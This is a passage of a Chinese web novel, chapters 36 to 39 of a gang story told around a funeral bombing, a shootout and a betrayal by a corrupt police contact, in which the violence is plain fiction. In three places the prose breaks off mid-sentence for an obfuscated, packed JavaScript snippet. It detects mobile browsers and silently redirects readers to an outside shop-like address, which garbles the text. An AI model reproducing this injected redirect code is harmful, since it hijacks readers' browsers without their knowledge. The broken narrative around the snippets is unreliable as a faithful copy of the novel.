白容生蹲下捏起线香点燃,叉子扭头对崔盛说:“当时你也在场,没去救他?” “对面有枪,而且动作很快,我来不及反应 。” “哦。”叉子点点头,看上去并不在乎崔盛是怎么回答的,“难啊,崔盛,难啊。这句话是去年冬天时在这里喝酒,二当家对我说的,他说想要这个北城区,太难了。大宏没做到,大雁没做到,叉子我呢,想做到也很难。呵呵……” 他沙哑地笑起来,咬住烟,“北城区就是个烂泥坑,贾大海都不想管这个麻烦,他只想在这里赚钱。死老头子,真精啊,光从我这里拿好处,不肯给我一口汤喝。小白,还记得你雁红姐吗?” 忽然被叫到的白容生不好再装盆栽,起身说:“记得。” “我就是把她送到贾大海那里,过几天她回来后却摔死了。”叉子说道,“老子这样不要脸面,女人都赔给他,结果赚不到好。你说说,你雁红姐是不是命苦?” 白容生沉默。他微微低头看着火盆,夏天里的火焰格外灼热,烤得他露出的小腿阵阵发烫,飘出的灰烬沾在他鞋面。 大家的命都差不多,说不上谁更命苦。 “贾大海是要逼死我啊……”叉子自顾自笑,“而且要逼我死得很难看,就跟那猫捉老鼠,玩到不喘气了再咬死。所以我今天偏偏就得请他来,看看这老东西敢不敢踩上北城区的地!” 他这番缺少捧场观众的独角演说话音刚落,身后就有个人拿着手机过来说:“大当家,贾大海的车到了。” “真来了?”叉子惊讶后大笑,“走,我去亲自接他!崔盛,你跟我一起去。” 白容生脚步下意识一动,硬生生又克制住。崔盛跟在叉子身后,看向他,摇头示意他别乱动。 等崔盛和叉子走出别墅大门后,有个陌生的年轻男人靠近白容生,小声跟他讲:“崔哥让我带你走。” 白容生不认识他,保持警觉:“去哪里?” “后、后门。”那男人被他反问得一愣,“后门有车,他说带你过去让你自己走,不是吗?” 白容生踌躇几秒,和男人一起装作要去洗手间,沿着院子边离开前院。他一副不安惶恐、四处张望的样子,手紧抓着包,其实已经握住了里面的手枪。 这次里面装的不是玩具塑料子弹,而是结实的钢珠。 “喂,我说……你跟崔盛哥什么关系啊?”男人可能是觉得无聊,语气好奇里夹着轻慢地问道,“他说你是他表弟,不过我们会猜,你跟他是不是,有点别的什么?” 白容生闻言,熟练地摆出十二分无辜的表情,歪头看他:“有点别的什么?” 心里当然是很恶心的,不过接这种话只会让对面更兴奋。托这张脸的福,白容生装无知浑然天成,男人看他像个木呆呆的学生,觉得没意思,就不提了。 “崔哥让我在这里塞了个破电瓶车,你骑着走就行了,都是充过电的。” 他说着拉开后花园里那间小型杂物间的门,声音却被愕然切断,“……怎么没了?” 杂物间里只有周围胡乱堆着的剪刀、水壶和一台小除草机,空出的地方空空荡荡,不见那辆车的踪影。 他回头和白容生面面相觑,正要说话,身上的手机忽然响了。 别墅前院传来喧嚷的人声,男人忙应着“就来就来啊”,为难地看着白容生。 白容生让他回去岗位工作,在花园简单地转了一圈,心里一沉。 那辆车不知道被谁挪走了,对方是故意的。今天这场葬礼恐怕不能善了。 后门有两个人守着,但明显不太上心,白容生走出去估计他们都不会管,因为仅仅从后门出去没用,最后还是要绕回大路上。 如果趁现在走,也没多少人认识他,离开这块区域就行了,不能再拖。 他可以走……但崔盛走不了。 白容生回头,身后是别墅的三层小楼,灿烂的阳光照着大片玻璃窗,刺得他眯起眼睛。 他突然小跑回去,试探地推开一楼的门。门没锁,白容生无声地闪身进去。 现在人都集中去接贾大海了,没人发现白容生悄悄进入别墅里。 一楼是装饰奢华、面积广阔的大厅,落地窗那里玻璃是单向的,从里向外看清清楚楚。白容生走过一整面墙的酒柜,驻足欣赏片刻另一面墙的书柜,只是大部分书他都看不懂。 没想到铁算盘这样有钱,叉子应该赚的更多,怪不得觉得自己可以更进一步。 别墅内层高很高,缺乏日常居住的生活气息,脚步声重一点都会激起回声。白容生屏住气,顺着旋转向上的楼梯走到二楼。 二楼尽头的落地窗,正对着别墅前门。白容生贴过去,看见三辆漆黑的车整齐停下,叉子和贾大海一同从第一辆车上下来。 他们看着甚至还挺和谐,礼貌地伸手互相谦让, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176663|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走进前院。 白容生没太关注这两人。他在寻找崔盛,目光随后定住,看见落后不少的崔盛,站在院门口,没跟着进去。 叉子和贾大海一路不停地走进灵棚,被棚顶挡着,白容生看不见他们。他换了个姿势,跪坐在窗后,准备给崔盛发短信说明情况。 很可能有人发现了崔盛的小动作,不知道是不是叉子。白容生最担忧的是崔盛这个“卧底”有没有被发现,和警察勾结的卧底,往往死的比单纯的叛徒还惨。 在北城区耳濡目染,白容生瞥见过一次被拖出来的不成形的尸体。当时方琴捂住他的眼,让他别看,旁边人说是和条子勾搭的卧底。 他不想崔盛变成那样。 落地窗分上下两部分,上半部分可以打开。白容生拧开锁扣,小心打开一条细缝,看着手机。 短信发送成功,崔盛察觉到了,低头去找手机。这时一人从灵棚出来叫他,他没来得及看,匆匆走过去。 白容生背贴着发烫的窗户,焦虑地咬了下手指,又转回去,借着高处视角,把视力范围内迅速扫一遍。 前门被汽车堵死了,后门只是多绕一圈,最后还要回到连接前门的道路。外面都是人,鱼龙混杂,而且总觉得不对…… 他的混乱思绪还没理清楚,耳边骤然响起一声怒喊。 “你个假货也来跟老子装!” 本就是临时搭建的灵棚在冲撞下歪了一角,黑布被扯掉一块,裹在滚出来的人身上。那人手脚并用爬起来,赫然是贾大海。 不应该。 白容生盯着那个不起眼的老男人,心中跟着一跳:虽然他不认识,不过依据传言,贾大海这样的人会轻易和叉子单独相处吗? 砰! 别墅前门重重合拢,叉子站在灵棚门口,举起手中的手枪,对着天空开了一枪。 “把他的头割下来。”他指着那个足可以假乱真的“贾大海”,露出残酷的微笑,“然后跟我一起,原样还给贾大海。” 他手下最精锐的那批打手此刻都在院子里,纷纷都安静了,面面相觑。地上的老男人好像摔伤了,正抱着手臂,颤抖地呜呜乱叫。 白容生快而轻地关上窗户,免得被谁看见。他心跳不受控制地加速,攥紧手中的枪柄,看着站在后排的崔盛。 崔盛嘴里咬着一根没点燃的烟,没空看的手机让他心里一直放不下。偏偏叉子现在一个个检视着他们的脸,为了不惹事,最好别有多余的动作。 “没有人吗?啊?没有人啊!”叉子忽然提高声音,背着手看着他们,“都没有人,没有这个胆子,没有这个狠劲!所以为什么人家能起来,我们就起不来?你们哪个敢提着枪去当街杀贾大海?没有,没有,只剩下我们被他拿枪指的份,现在找个糟老头子当替身来糊弄我,这个狗日的——” 他连骂好几句,停下来深呼吸几口气,目光逡巡,停在崔盛脸上。 “崔盛。”叉子叫,“过来,拿着枪,就像那天你看着他们怎么开枪打死你们二当家一样。” 崔盛抬起没有表情的脸,叉子对他一挑嘴角:“过来啊。” 白容生听不见他后面几句在说什么,也无心去看叉子的动作。他的注意力集中在那个爬起来又跌坐回去的男人身上。 他身形矮胖,头发半白,身上被扯乱的西装外套显得不怎么合身,一只手不自然地塞进外套里,不知道在摸索什么。 白容生又看向崔盛,崔盛已经取下嘴边的烟,随手一扔,抬腿就向叉子走去。 姿态奇怪的男人、正接近他的崔盛和站立不动的叉子,共同在白容生眼里构成了奇特的景象。他此刻只能凭借本能,推开窗,手里的枪对准了那个背对他的“贾大海”。 他只是觉得他开枪,会比崔盛开枪好上一些。况且距离这么远,应该打不死人。 白容生枪口对准的那刻,“贾大海”猛地以一种匪夷所思的速度拧身,扑进灵堂。周围离得近的人急忙伸手去抓他拦他,连叉子都转头瞪着他,崔盛挠了挠脸,立刻停下。 他无意中抬眼,正对上二楼窗缝里举着枪的白容生,动作瞬间僵住,波澜不惊的脸上顿时出现了不可思议的表情。 白容生差点就按下扳机。他也看见了崔盛,把手枪一收,没来得及比手势,整个院子就被巨响和震动吞没了。 37.第 37 章 白容生回过神的时候,面前窗户在震动中碎出几道长长的裂纹。他不知不觉已经跪在地上,墙根都是不知从哪里抖落的灰尘。 耳鸣一阵阵的,头也发晕。白容生第一次尝试甚至没爬起来,撑着墙起来一半就跌坐回去。他喘着气,等头不那么晕了,再扶着墙,这次成功起身。 别墅院子里已经一片狼藉,灵棚无影无踪,遗像被炸得粉碎,连带棺材都四分五裂,周围飞溅着恶心的血肉。白容生居高临下,直接看了个全景,本来就头晕,立刻靠着墙干呕几声。 他后背在大热天冒出一层冷汗。下面的人更是全都懵了,受伤大叫的、趴在地上生死不明的,还有没被波及到,搞不清楚状况的,混成一团。 贾大海送了份大礼,人肉炸弹。他高调地回应了叉子的挑衅,明确告诉所有人,叉子根本不够格挑战他在C市的权威。 崔盛呢? 白容生深吸口气,咚咚咚跑下楼。一楼大厅的地上,正流淌着近似血液的深红色液体,是几瓶酒柜里的酒落地打翻了。 一楼窗户碎了一个大洞,白容生远远看了眼,重重地呼吸着。他转身想从大门出去,却意外看见一楼尽头的房间门半开着,似乎是之前没关上,刚刚被震开的。 在白容生的视角,他能看见里面是枪柜。 他迅速回头看了一眼院子里,暂时好像还没人发现屋里有人。 白容生果断做出决定,跑过去推开门,房间里三面墙都被收藏的枪械和刀剑占满,扫过去几乎有点目眩神迷。 他目标明确地去试探底下装手枪的柜子,连试三个,拽开第三个玻璃柜,心里对铁算盘道声歉,拿起一把手枪和旁边一盒子弹。 把货真价实的枪塞进包里,白容生不敢耽搁,迅速跑出门。 外面空气里充满刺鼻的火药味,白容生用力推开门张望着。他还没看两眼,一只手臂直接把他拽过去。 “哥!”白容生被吓了一跳,想看崔盛的状态,但崔盛从后面推了一把,催促他快走。 白容生走出后门,硬是甩开崔盛的手转身。崔盛脸上有几道灰印,前额都是汗,衣服也乱糟糟的。他手上有几道伤口,脸侧也被迸溅的碎片划了一道,但没有切实受伤。 恰好躲在室内的白容生托这栋别墅质量过硬的福,只是被震得发晕。 崔盛双手捧住白容生的脸,确认他同样没事后,发着抖长舒口气。 “叉子死了吗?”白容生问。 “不知道,随便他死不死……”崔盛牵着他快步向前走,四下找车,“你得快走,不能留在这里。” 白容生忽然不走了:“什么意思,你不跟我一起?” 崔盛回身看着他的眼睛:“我不能走。” “为什么?” “这个时候走了,我就是叛徒。”崔盛说道,“那样会很麻烦。你快走,下面肯定要乱。” 白容生定定看他一眼,不用崔盛牵,他加快脚步向前走,“你怎么想的,还给我电动车——那辆车没了。” 崔盛:“嗯,不意外。别管这个,现在没人注意你,快走。” 正说着,崔盛一把拉过路边正茫然观望的两人。那两人吓了一跳,忙叫着崔哥,问他发生了什么。 “贾大海送了炸弹来。”崔盛简短地说,把白容生推给他们,“你们把我弟送回去,也别过来了,乱得很。” 这两人都是底层混混,在外围抽烟晃荡,听见“炸弹”,将信将疑地瞪大眼。不过崔盛安排了他们,也不说别的,听话地叫白容生坐上旁边停的摩托车。 “真的啊?”白容生坐上车,开车的那人回头问他,“我听到什么声音,真是炸了啊?” 坐在后座的白容生看他,煞白的脸上眼珠黑漆漆的。不知怎的,那眼神有些直勾勾的缺乏感情,看得人心里一突。 “怎么了?” 白容生回过头看见,崔盛的背影已经消失在人群。他忽然说:“谢谢两个哥,但是我先不走了,你们快走吧。炸/药也是真的,铁算盘的棺材被炸碎了。” 他敏捷地跳下摩托车,不顾身后的呼喊,快步走去。 别墅那里已经彻底乱成一锅粥。 崔盛伸手分开前面的人群,周围一直有人叫嚷,吵得他难受。眼看着前面挤得不行,他拿出枪也对着天上开了一枪。 霎时间一静,他满脸不耐烦地回到葬礼现场,看见叉子被他的三四个亲信扶着,满脸是血,好像已经陷入半昏迷的状态,嘴唇不停蠕动着。 “叫救护车没?” “叫了。”一人咬着牙说,“操,这他妈是怎么回事?” 崔盛半蹲下去观察叉子的状况,旁边有人问他:“你刚刚去哪里了?” “把我弟送一边去。”他说。 “你弟比大当家重要?” 崔盛平静地扫了他一眼:“我本来就已经几个月不在大当家身边了。” 问话的人一顿,崔盛起身道:“谁还能开车?把大当家送医院去,不能等救护车,来不及。” 叉子被人扶起来时候似乎恢复了部分神智,他翻开眼皮,眼珠周围都是血丝,看见崔盛时,喉咙里“呵呵”的,不知道想说什么。 崔盛面无表情,指挥人让开路,不管一地狼籍,帮忙把叉子搬进车里。 他打算坐后面那辆车,开车的那人忽然叫住他:“崔哥,你坐副驾,我安心。” 崔盛绕回来坐上副驾,说:“去最近的北城区医院吧。” 车里混杂着不太好闻的味道,他打开车窗,热风吹进凝滞的车厢。 司机边开车边说:“贾大海疯了,他竟然让人带着炸弹进来……对了,崔哥,你见过他没?那个假的贾大海,竟然把大当家都骗过去了?” 崔盛只见过贾大海一面,对那张不显眼的脸没太多记忆:“长得是很像,他只有假扮贾大海,才能不被搜身。” “太吓人了,也不知道贾大海怎么办到的,竟然能让人心甘情愿带着炸弹去自杀。” 后座一人插嘴:“炸死就那一瞬间的事,说不定比跳楼还舒服呢。” 崔盛手搭在窗口,没说话。车里陡然陷入寂静,谁都没再说话。 他的手指轻轻敲着窗框,看向后视镜。两个围着叉子的人注意到他的眼神,各自移开。 好在医院并不很远,车子急刹停在急诊部外面。崔盛刚要伸手开门,坐在他后面的人举起枪,抵在他身后。 “做什么?”他没有意外的表情,看着后视镜,“等一路,终于动手了?” “你别乱动。”那人也叹气,“崔哥,不是我们想乱动,大当家怀疑你不干净。” 另一个人把叉子扶下去,司机不吭声地锁上车门,启动车辆:“崔哥,兄弟们认识这么久,说实话真不想乱起疑心。大当家本来安排我们……谁知道贾大海这么狠,我们也没办法,只能委屈你先回去待几天,等大当家清醒了再说吧。” 汽车座椅的空隙里,刚好够枪口伸进来抵住后颈,冷硬的金属硌着皮肤,崔盛面不改色:“怀疑我卖了二当家?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176664|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不止。”司机说,“你在里面,是不是还和大雁达成了什么勾当?” 崔盛淡淡道:“在牢里头,有些规矩是和外面不一样的,你们不是毛头小子,还不知道吗?” “按照大当家的安排,你本来就不应该进去的。”举着枪的人说,“给你安排清闲的任务你不好好干,非要多此一举打乱大当家的安排,你早就不老实了啊。” “就算我真的没有背叛,这事之后,我也不可能再给大当家卖命了。”崔盛笑了笑。 “老规矩,断一只手手筋,江湖不见。” “是吗。”崔盛语气很无所谓。 “你之后还能保持这个死硬的态度就好了。”后面拿枪的人嘲讽道。 司机在这时却“嗯?”了一声:“后面的车,是在跟着我们吗?” “什么?” 前方的路有个坑,司机下意识降速,松开油门才发现后面一辆车跟了有一段距离,目前快要追上他们。他一皱眉,刚要踩下油门加速甩开,那辆黏上来的车后车窗打开,车里的人戴着帽子和墨镜,没有任何迟疑,抬手冲着车胎连开三枪! 吱—— 车在路面划出一个弯弧,轮胎爆开,摩擦出的噪音尖锐刺耳。对面打得极准,司机险之又险地停稳车,反应很快地抱头俯身:“哪边的人追上来的?” 他话音未落,那辆车冲到他们前面,又是数枪打在车前盖,这辆车是彻底开不了了。 “看不出来!”后座的人不得不移开枪口,转头向那辆冲来的车开枪,“妈的,这么倒霉!” 司机的枪在座位下面,他伸手去摸,下意识的,眼睛抬起,对上崔盛俯视的视线。 “操!” 司机爆出一声怒骂,和崔盛一起撞上了方向盘。他没顶过崔盛的力气,被重重在肚子上砸了一拳。在他干呕抽搐时,崔盛的手绕过去,咔地打开车门,一脚将司机踹出去。 夺走司机的枪,崔盛转身,刚刚拿枪威胁他的人也从另一边下车,抬手瞄准他,边指边后退。 “崔哥,你真的要当叛徒?”那人喘着气,“大当家哪里对不起你……” “谈不上对不对得起,各谋各的生路。”崔盛坦然说,“我是那种讲恩义的厚道人吗?” 举枪的人目光稍稍一动,崔盛瞬间意识到,头也不回地扭身闪开。身后爬起来的司机拎起车里的锤子,几乎是擦着他的耳朵挥过。 这短短几秒好像被拉长,崔盛听见两声紧连的枪响,随后,他感觉左肩膀像被什么重重撞到,让他不由得踉跄一步。 追上他们的车终于打开车门,那位看不清脸的枪手举枪下车,隔着墨镜向崔盛看了眼。 竟然是白容生——也只能是白容生。 这一瞬间的微妙感情竟然盖过了中枪的疼痛,崔盛来不及细想,咬住一口气抓着司机的头发,恶狠狠把他的头向着车门结实地撞了两下。 司机被他砸晕了,贴着车滑倒在地。崔盛也有点站不住,勉强扶着车,微微发花的视野里,白容生拿着枪跑过来。 他脸上头上都是汗,黑发一绺绺黏在脸上,嘴唇没什么血色。崔盛又看向那个开枪打中他的男人,那人扑倒在地,后心和后腰两个血洞。 看来是崔盛听错了,白容生直接开了两枪。 血滴答答地流到车身上,阳光照得崔盛眩晕。他碰到了自己温热的血液,这让他产生一种不真实的虚幻感。 虚幻的夏日里,白容生一把抱住他,让他别闭眼,拖着他向前走。 38.第 38 章 “过来帮忙!” 在车门那里畏手畏脚、欲下不下的男人被白容生这样一说,下意识就听话地下车,胆战心惊地看了眼地上的现场:“他、他俩都死了?” 白容生快要撑不住崔盛,听见这话,格外平静地看了男人一眼,语气没有异常:“一个晕了,一个不知道。你跟他们很熟吗?” 他的手,握住了还发热的枪。 “不不,不熟。”男人叫小松,完全没搞清情况,稀里糊涂过来帮忙扶着崔盛,被他左肩的枪伤吓一大跳,“这得赶紧去医院吧?” 没想到神智已经不清的崔盛说:“不去……” 他伤口的血一直没止住,连白容生的脸上都有血。小松看着白容生,他煞白的脸、漆黑的头发和殷红的血凑在一起,浓墨重彩,看上去有种触目惊心之感。 “不去医院。”白容生斩钉截铁,“我知道去哪,我指路。” 崔盛倚靠在白容生身上,他的意志很强烈,眼睛一直没有完全闭上。但他失血严重,白容生又不会止血,一只手还要抓着枪,只觉得全身的神经都因为过度紧绷要断开。 在他跑回去的路上,被两人拦住,问他出了什么事。白容生起初不想理,忽然注意到这两人有些眼熟,其中那个叫小松的主动说:“你不记得我们了?那次在洗头房,是我们帮忙把你姐送去医院的!” 白容生恍然,小松又道:“是不是老大他们出事了?我听说,他们要开车送大当家去医院。” “医院?” “对,你哥估计也跟着一起去了吧?”小松热情邀请,“我们有辆车,一起去怎么样?我还有话要对大当家讲。” 白容生扫了眼路边那辆破旧的黑色轿车,二话不说坐进去,“还有话要说?” 开车的男人叫大松,挤眉弄眼:“有个卧底,被我们发现了,得告诉老大来讨赏啊。” 他们并不十分了解白容生的情况,以为白容生和崔盛一样,在帮派内地位可能比他们还高,话语里甚至带着点炫耀和邀功的意味。 这两人至多比白容生大一些,都没有驾照,驾驶技术倒很不错。他们没找到人,是白容生想到了,指挥抄小路去医院附近等。 看着叉子被人背下车,后面又涌上一堆人围着送进医院,只有送叉子的那辆车没有别的人下来,略停了停便开走,大松和小松都有点摸不着头脑。 白容生盯着那辆车,对大松说:“开车跟上。” 大松下意识按照他的命令做了,做完才反应过来:“可是大当家……” “现在你们进医院也见不上叉子的面。”白容生不客气道,随即顿了顿,语气放柔,“我哥在那辆车上,我觉得不对,追上去看看。” 所幸大松小松都是头脑空空又爱刺激的,见状立马也不知道在兴奋什么,可能以为这样像拍电影,脚踩油门就跟了上去。 白容生从车里翻出旧墨镜戴上,确保遮住脸后他悄悄握住了手枪。 “卧底,谁的卧底?”胸口一跳一跳,白容生还得装作轻松的样子和他们闲聊。 “还能是谁?大雁的人呗。”小松说,“偷东西被我们发现了,吓唬两句就啥都交代。你说,这事算不算我们立功?” “应该算吧。”白容生说完,眼睛紧盯着前面的路,忽然提高声音,“开快点,追上去!” 之后的事情在他记忆里像是残缺不全的影片,有些细节和画面消失了,他也无法清晰回忆每个举动发生时的心情。 白容生回头看了一眼身后,被日光晒得发白的水泥路面,斜停在路边的汽车,两具倒地的身体,地面四溅的血迹…… 晃动不安,如同某个恐怖的画片,深深留在他视网膜上。 耳边小松在自顾自的推理后问他:“崔哥怎么会这样?是大当家身边也有人背叛他?那我们应该冲进医院救老大啊?” 白容生被吵得头疼,几乎就想给小松一枪让他闭嘴。随后他反应过来他在想什么,浑身一凉,思绪瞬间也跟着清醒了。 “贾大海应该是想直接杀了叉子。”白容生道,“没看你崔哥都这样了吗?我建议你不要去,赶紧跑吧。” 小松:“啊?你别胡说,怎么……” “叉子就站在炸弹旁边,那么大的声音,你没听见?”白容生道,“别想着什么卧底了,先避风头。” 他也是神经过敏,听见“卧底”一类的话就开始担心崔盛,甚至想着要不要灭口。 小松大松没搞清楚状况,今天全程是被白容生指挥着追车,看他来了一番公路枪战,现在又帮着白容生把崔盛扶进一家巷子里的黑诊所。 “别管叉子了。”白容生走进诊所前,最后和他们说了一遍,“去别的地方躲两天再回来。” 他一脚踢开歪斜的“早泄阳痿无痛人流”牌子,反手关上门,带着自己都没意识到的杀气,直冲里间:“枪伤,能不能治?” 大夫纵然见多识广,突然被一个拿着枪带着血的人抓住还是很惊恐的。他认了几秒才认出白容生,出来看见崔盛,二话不说把大门锁上,先打开冰箱取出一瓶药:“不能去医院?” “不能。” 崔盛被扎了一针,他似乎意识到暂时可以安顿下来,终于陷入彻底的昏迷。 取子弹处理伤口时,白容生独自坐在外面。他的右手一时间竟然放不开枪,因为一路上攥得太紧,手指抽筋,动作时抽痛得钻心。 他咬牙忍痛,闷哼一声,用左手把右手按开,缓了好一会,无力僵硬的手指垂下。 直到此刻,手枪后坐力和长久肌肉紧绷的后遗症白容生才开始感受到。他手抖得举不起来,出神地坐了好一会,大夫取下沾血的手套走出来:“要输血,我现在叫人去医院买。你要哪种?” 白容生费力地眨了眨眼,一点黑红的血块凝结在他的睫毛上:“什么?” “有那种便宜的血,不过不清楚是哪个问题,全靠运气,看在人情上,我给你免费。你要私下买没问题的血还立刻送过来……”他比了个数字,“我再给你说情都不能便宜。” “要没问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182697|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题的。”白容生想也不想,“叔,钱多少都可以,不够的我给你打欠条。” 大夫:“小白,咱们也算街坊邻里,你从小到大发烧打针全是我经手,今天如果是你,叔不跟你多说半个字。但是他这个情况,”他点了点帘子后的崔盛,“我接手他已经冒了很大的风险了。现在把你当大人,钱我们清楚算。” “我知道,我知道。”白容生疲惫地点头,他其实还没缓过来,说话时控制不住地打了个冷战,“只要他能走,我马上带他走。” 狭小的北城区,消息传得很快。从铁算盘当街横死到葬礼上人肉炸弹,常年生活在这里的人都有预见性地减少外出,街上晃荡的大部分都是混混。 在叉子被炸进医院的新闻下,路上枪战的遗迹都没那么显眼了。 等待血包送过来的时间,大夫还接了两三个电话,基本都在说这件事。他当然有所察觉,弯腰看着崔盛的情况,回头催白容生:“你去把身上洗洗,找柜子里的旧衣服换上。别被人看见,我不好解释。” 诊所里面有一只柜子放的是顾客们留下的杂物,有些是不要的,有些是死了不能带走。白容生艰难地洗干净手脸,撑着洗手池,血红色从浓到淡,打着圈流进下水道口。 他找出一件不知道是不是死人留下的短袖套上,那边门外送进来一只泡沫箱,里面是用冰袋冰着的血包。 崔盛总算输上血,脸色看着依旧吓人。白容生取走他的手机,缩在角落里翻看通讯录。 一个没有备注的号码,通话记录不多。白容生拨过去,对面没接,他很有耐心地一次次打过去,第四次时终于接听。 “说。”对面的是一个颇有涵养的青年男声。 “蒋警司,”白容生直截了当,“您的目标就是让贾大海来除掉叉子吗?是不是有些拙劣了?” 那边顿了顿:“噢,你是?崔盛呢?” “我是白容生。” “啊,是你,兴康的同学。”蒋翰笑道,“不,不,你误会了,这些都是贾大海自作主张,我只是想让崔盛随时报告叉子的行踪而已。你哥哥做得不错,只是谁都没办法预料意外的发生,对不对?” 白容生的沉默里,蒋翰说道:“这场事故,我已经听说了。事实上,这和我没有关系,怪叉子挑衅太过,不等我收拾他,贾大海就决定除掉他了。哦,你的哥哥没死吧?还活着的话,恭喜他不用再做卧底,我已经更换目标了。” 电话挂断,白容生站起来,反应了一会,回味过来这是个骗局,彻底的骗局。 蒋翰和尽职尽责的警司没有半点关系,他随口许下几句以假乱真的承诺,从崔盛那得知情报反手交给贾大海,便于贾大海除掉北城区这个妨碍他赚钱的障碍。卧底是编出来骗小孩的笑话,也就是无路可走的人会信以为真。 现在唯一的好处是,叉子不会活着走出那家医院。 新警司和老地头蛇合作的把戏,自以为能够上桌说话的叉子是蠢货,他们这些被波及玩弄的小角色,可能连蠢货都算不上。 39.第 39 章 白容生紧赶慢赶地回到诊所,进门后差点没站稳,靠着墙用力喘了口气。他背后背着一个旧包,沉沉地坠着,再加上小挎包内的手枪,让他在夏夜里浑身被汗湿透。 “我能取出来的现金就这么多。”白容生晃了一下,打开包,里面是整齐的钞票,“够吗?” “够。”大夫刚给崔盛处理完伤口,“喝水去吧。你才走他就醒了,听说你出去,我差点按不动,硬是给打了针让他回去躺着。” 白容生端起那只搪瓷杯子,仰头咕咚咕咚一口气灌下,用手背抹了把脸。 大夫低头数钱,他实在是没力气再动,发呆地坐在那里,望着上方发黄的灯泡和下面的小飞虫。 “你不是去上学了吗?”数钱的大夫问他,“怎么还牵扯到这些事里了,我记得你平时很会躲啊,不跟这些混混有牵连的。” 白容生:“……我只是为了我哥。” “认一个混混做哥吗?”大夫意味深长,“这可是有点自讨苦吃了。小白,你很聪明,不该做这些事,明哲保身,考上大学再也不回来才对。” 白容生没说话。他后知后觉口腔里有点淡淡的咸味,是大夫给他的那杯水里加了盐。 “那边墙上挂的香蕉,昨天一个病人送我的,你掰一只吃吧。”大夫数完钱,“走歪路的年轻人我见过太多了,白容生,你妈当年怀你的时候来这产检,我还是跟着师父干活的学徒呢……当时差点以为留不住你,没想到还是保住了。你要想好自己的事。” 白容生只说:“谢谢叔。” 幸亏今天没有“住院”的病人,其余来看病的都在外面,开药或处理伤口。还有一个年轻女孩进来询问人流手术,和大夫约了三天后。 白容生撑着一口气,揣着枪去银行,把崔盛名下卡里的钱按照最大额度取了出来。基本上账户的钱被他掏干净了,只有叉子给的那张卡,还剩一部分。 他没管剩下的,背着钱绕路,中间还换了遍衣服,鬼鬼祟祟地跑回诊所。等吃完香蕉后,才发现自己差点站不起来。 大夫不再多说,收拾东西挂上休息的牌子。他允许崔盛今晚在这里睡一夜,明天则要看情况再说。 白容生走到里面简陋狭窄的病房,拉开帘子,愕然发现崔盛的眼睛是睁开的。 “你没睡?”他诧异地问,伸手试了试崔盛的额头。大夫说他有点发烧,白容生从小被小孩会烧傻的话吓唬,很怕崔盛会变成傻子。 崔盛嘴唇苍白干燥,动了动没发出声音。白容生走回外面,拿着他刚喝完水的搪瓷杯,倒了点温水,按照大夫的要求,只给崔盛嘴边沾了一点。 喝了两小口水后,崔盛终于能说话了。他看着白容生乱糟糟的头发和更糟糕的脸色,说:“你走吧。” 白容生坐在床边,扫他一眼,没吭声。 崔盛咳了一下:“你……” 白容生淡淡地说:“再说这种话,我就把杯子砸你头上。” “你砸,死了正好。”崔盛说,“刚刚那些话我能听见一点,他说的对,你现在别管我。” 他躺在床上,在这个勉强算作病房的小隔间里,床也是窄而短的,崔盛的腿必须蜷缩着。白容生也只缩在床角,捏着杯子,瘦削的手背上青筋突出。 昏暗里他显得那样瘦小一个,崔盛看不下去,想伸手抱一抱他。白容生却猛一抬头,隔着碎发,他的眼睛有点泛红。 “我们都已经这样可怜了,哥,还要说这些废话吗?离开我你会死的,我不会看着你去死。” 崔盛语气立刻放软了:“你别哭。我不至于就去死……” “我没哭。”白容生除了眼圈红了点外,确实没有眼泪也没有哭腔,他冷静道,“我们被耍了,蒋翰那个死人。哥,我问你,如果叉子死了,后面会发生什么?” 崔盛眼睛合上,思考过后说:“看是谁接叉子的位了,目前看大概率是大雁。老规矩,清扫前任留下的人。” 白容生:“包括你?” 崔盛:“我肯定是逃不过的,本来我和他手底下不少人就有过节。” 白容生点头,自言自语:“我明白了,所以你需要先藏起来别被找到。” 崔盛:“白容生。” 他声音低低的,带着不明显的疲惫。白容生终于挪到床头,崔盛展开没受伤的右手,抱住他清瘦的肩膀。 “其他的事,我现在不愿意想,也想不动……只要叉子死了,就没人再会妨碍你,我知道这个就足够了。” 白容生听完,艰难地换了个姿势。 床虽然小,还好足够容下他们两个。 崔盛上半身做完那个粗糙的取子弹手术后没穿衣服,只有左肩被包起来,绷带绕过胸口。白容生环住他的腰,脸贴着崔盛的胸口出神,方便崔盛省力地把右手放在他身上。 隔着带着消毒水气息的纱布,白容生听见崔盛有力的心跳,因为发烧,速度比平时要快一些。 “我把能取出的钱都取出来了。”白容生仔细地数,“给你交完医药费,剩下的钱还挺多,不能回我们原来住的地方,我们先暂时租个房子。” 